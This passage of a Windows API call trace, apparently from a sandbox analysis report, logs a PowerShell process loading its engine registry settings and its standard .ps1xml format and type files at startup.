lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24cfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0082.370] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d388 | out: phkResult=0x24d388*=0x330) returned 0x0 [0082.370] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d30c, lpData=0x0, lpcbData=0x24d308*=0x0 | out: lpType=0x24d30c*=0x1, lpData=0x0, lpcbData=0x24d308*=0x56) returned 0x0 [0082.370] CoTaskMemAlloc (cb=0x5a) returned 0x1afbd0 [0082.370] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d2dc, lpData=0x1afbd0, lpcbData=0x24d2d8*=0x56 | out: lpType=0x24d2dc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d2d8*=0x56) returned 0x0 [0082.370] CoTaskMemFree (pv=0x1afbd0) [0082.370] RegCloseKey (hKey=0x330) returned 0x0 [0082.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24cfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0082.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0082.894] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.160] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.162] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.163] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.164] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.165] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.166] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.275] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0083.275] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.275] CoTaskMemFree (pv=0x1b75b370) [0083.305] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d528 | out: phkResult=0x24d528*=0x32c) returned 0x0 [0083.305] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x24d53c, lpData=0x0, lpcbData=0x24d538*=0x0 | out: lpType=0x24d53c*=0x1, lpData=0x0, lpcbData=0x24d538*=0x74) returned 0x0 [0083.306] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x24d4ac, lpData=0x0, lpcbData=0x24d4a8*=0x0 | out: lpType=0x24d4ac*=0x1, lpData=0x0, lpcbData=0x24d4a8*=0x74) returned 0x0 [0083.306] CoTaskMemAlloc (cb=0x78) returned 0x1521d0 [0083.306] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x24d47c, lpData=0x1521d0, lpcbData=0x24d478*=0x74 | out: lpType=0x24d47c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x24d478*=0x74) returned 0x0 [0083.306] CoTaskMemFree (pv=0x1521d0) [0083.306] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0083.306] SetErrorMode (uMode=0x1) returned 0x1 [0083.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0083.306] SetErrorMode (uMode=0x1) returned 0x1 [0083.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.308] SetErrorMode (uMode=0x1) returned 0x1 [0083.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0083.309] SetErrorMode (uMode=0x1) returned 0x1 [0083.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0083.310] SetErrorMode (uMode=0x1) returned 0x1 [0083.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0083.311] SetErrorMode (uMode=0x1) returned 0x1 [0083.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.311] SetErrorMode (uMode=0x1) returned 0x1 [0083.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0083.312] SetErrorMode (uMode=0x1) returned 0x1 [0083.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.312] SetErrorMode (uMode=0x1) returned 0x1 [0083.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0083.313] SetErrorMode (uMode=0x1) returned 0x1 [0083.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0083.313] SetErrorMode (uMode=0x1) returned 0x1 [0083.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0083.313] SetErrorMode (uMode=0x1) returned 0x1 [0083.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0083.314] SetErrorMode (uMode=0x1) returned 0x1 [0083.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0083.314] SetErrorMode (uMode=0x1) returned 0x1 [0083.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0083.314] SetErrorMode (uMode=0x1) returned 0x1 [0083.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0083.315] SetErrorMode (uMode=0x1) returned 0x1 [0083.315] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0083.315] SetErrorMode (uMode=0x1) returned 0x1 [0083.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0083.315] SetErrorMode (uMode=0x1) returned 0x1 [0083.316] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0083.316] SetErrorMode (uMode=0x1) returned 0x1 [0083.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d400 | out: lpFileInformation=0x24d400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0083.316] SetErrorMode (uMode=0x1) returned 0x1 [0083.317] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0083.318] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.318] CoTaskMemFree (pv=0x1b75b370) [0083.347] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0083.347] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.347] CoTaskMemFree (pv=0x1b75b370) [0083.347] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0083.347] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.347] CoTaskMemFree (pv=0x1b75b370) [0083.348] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0083.348] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.348] CoTaskMemFree (pv=0x1b75b370) [0083.349] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.350] SetErrorMode (uMode=0x1) returned 0x1 [0083.350] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x304 [0083.350] GetFileType (hFile=0x304) returned 0x1 [0083.350] SetErrorMode (uMode=0x1) returned 0x1 [0083.350] GetFileType (hFile=0x304) returned 0x1 [0083.350] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.355] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.355] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.356] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.356] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.356] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.357] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x9e2, lpOverlapped=0x0) returned 1 [0083.357] ReadFile (in: hFile=0x304, lpBuffer=0x33348b2, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33348b2*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.357] ReadFile (in: hFile=0x304, lpBuffer=0x3335368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3335368*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.357] CloseHandle (hObject=0x304) returned 1 [0083.358] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.358] SetErrorMode (uMode=0x1) returned 0x1 [0083.358] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d040 | out: lpFileInformation=0x24d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0083.358] SetErrorMode (uMode=0x1) returned 0x1 [0083.358] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.358] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x304) returned 0x0 [0083.358] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0083.358] CoTaskMemAlloc (cb=0x5a) returned 0x1b03b0 [0083.358] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b03b0, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0083.359] CoTaskMemFree (pv=0x1b03b0) [0083.359] RegCloseKey (hKey=0x304) returned 0x0 [0083.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.387] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x51e74cae, Data2=0x8368, Data3=0x4585, Data4=([0]=0x82, [1]=0x33, [2]=0xc, [3]=0xbc, [4]=0x28, [5]=0x32, [6]=0xc5, [7]=0x8d))) returned 0x0 [0083.410] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x85c92344, Data2=0xed04, Data3=0x42f5, Data4=([0]=0xad, [1]=0x86, [2]=0xcc, [3]=0x93, [4]=0x50, [5]=0xae, [6]=0x54, [7]=0x16))) returned 0x0 [0083.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0083.413] SetErrorMode (uMode=0x1) returned 0x1 [0083.413] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x304 [0083.413] GetFileType (hFile=0x304) returned 0x1 [0083.413] SetErrorMode (uMode=0x1) returned 0x1 [0083.413] GetFileType (hFile=0x304) returned 0x1 [0083.414] ReadFile (in: hFile=0x304, lpBuffer=0x335fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335fed0*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.418] ReadFile (in: hFile=0x304, lpBuffer=0x335fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335fed0*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.418] ReadFile (in: hFile=0x304, lpBuffer=0x335fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335fed0*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.420] ReadFile (in: hFile=0x304, lpBuffer=0x335fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335fed0*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.420] ReadFile (in: hFile=0x304, lpBuffer=0x335fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335fed0*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.421] ReadFile (in: hFile=0x304, lpBuffer=0x335fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335fed0*, lpNumberOfBytesRead=0x24d098*=0xfb2, lpOverlapped=0x0) returned 1 [0083.422] ReadFile (in: hFile=0x304, lpBuffer=0x335f5ea, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335f5ea*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.422] ReadFile (in: hFile=0x304, lpBuffer=0x335fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x335fed0*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.422] CloseHandle (hObject=0x304) returned 1 